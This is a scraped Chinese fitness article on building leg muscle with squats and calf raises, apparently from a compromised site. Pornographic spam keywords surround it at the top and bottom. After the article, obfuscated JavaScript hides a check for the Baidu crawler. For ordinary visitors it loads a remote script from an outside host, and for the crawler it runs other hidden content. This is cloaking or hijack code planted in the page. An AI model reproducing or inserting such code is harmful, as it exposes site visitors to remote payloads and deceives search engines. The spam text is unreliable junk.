久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 健康 > 運動健身 > 正文

怎么增加腿部肌肉呢

2017-04-16 14:00:10  來源:360常識網   熱度:
導語:經常做健身運動的朋友們應該都知道,對于腿部的鍛煉其實是相當重要的。我們的雙腿肩負著支撐整個身體能夠自由行動的使命,所以腿部力量的鍛

經常做健身運動的朋友們應該都知道,對于腿部的鍛煉其實是相當重要的。我們的雙腿肩負著支撐整個身體能夠自由行動的使命,所以腿部力量的鍛煉是運動健身的過程中不可缺少的一方面。那么該如何鍛煉腿部呢?怎么才能增加腿部的肌肉呢?今天就為大家重點的介紹一下這方面的內容。

鍛煉大腿、小腿肌肉可以做深蹲和提踵。深蹲可以鍛煉大小腿肌肉,提踵主要鍛煉小腿肌肉。

深蹲:

初練者可以先做徒手深蹲,然后做扶墻單腿深蹲,最后做單腿深蹲。如果徒手深蹲一次性可以做30個以上可以做扶墻單腿深蹲,如果扶墻單腿深蹲可以做10個以上,并且平衡能力得到了改善,就可以做單腿深蹲了。

深蹲動作過程:

腳尖沖外,11點05方向。收腹挺胸,后背挺直,下至大腿與地面平行或膝關節(jié)稍小于90度,另一只腿抬離地面(徒手深蹲不用抬腳),上至膝關節(jié)微屈,不要超伸。

深蹲鍛煉方法:

做3到8組,每組做10個以上,每組間休息1分鐘。

提踵鍛煉方法:

鍛煉者站在臺階上手扶住墻單腿提踵,一只腳提踵10次后再換另一只腳。雙腳做完為一個循環(huán),連續(xù)做3到6個循環(huán),中間不休息。

提踵動作過程:

提踵動作也就是抬后腳跟。腳后跟抬起的最高點要高,腳后落下的時候也要發(fā)力,落下最低點要低于臺階水平面。

上面非常詳細的為大家介紹了關于增加腿部肌肉的訓練方法,雙腿較為瘦弱的朋友們不妨試一試。運動健身是一個需要長期堅持的項目,大家應該抱有持之以恒的心態(tài)。對于剛剛接觸健身的朋友們來說,可以先按照上面的方法從腿部肌肉的鍛煉做起。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 国产视频精品视频 | 黄色一级电影 | 成人欧美一区二区三区在线湿哒哒 | 国产四虎 | 亚洲国产视频一区 | 日韩不卡 | 亚洲色域网 | 成人精品高清 | 日韩一级电影在线 | 国产综合久久久久久鬼色 | 国产日产久久欧美精品一区 | 噜噜av| 中文字幕欧美日韩 | www国产一区 | 日韩一区二区在线观看 | 亚洲综合第一页 | 久久国产精品久久精品 | 一区二区三区国产亚洲网站 | 中文字幕在线乱码不卡二区区 | 成人av播放 | 天堂中文av在线 | 一级片在线观看 | 国产精品99视频 | 欧美a一级 | 亚洲综合无码一区二区 | 国产偷录视频叫床高潮对白 | 久久性 | 网站黄免费| 欧美一级特黄aaaaaaa色戒 | 98精品国产高清在线xxxx天堂 | 国内精品一区二区 | 精品视频一区二区 | 欧美日韩在线观看视频网站 | 日韩在线播放视频 | 美女脱了内裤张开腿让密密麻麻 | 日韩一区二区精品视频 | 欧美狠狠操 | 午夜在线影院 | 亚洲第一区国产精品 | 日韩在线精品视频 | 九九99 |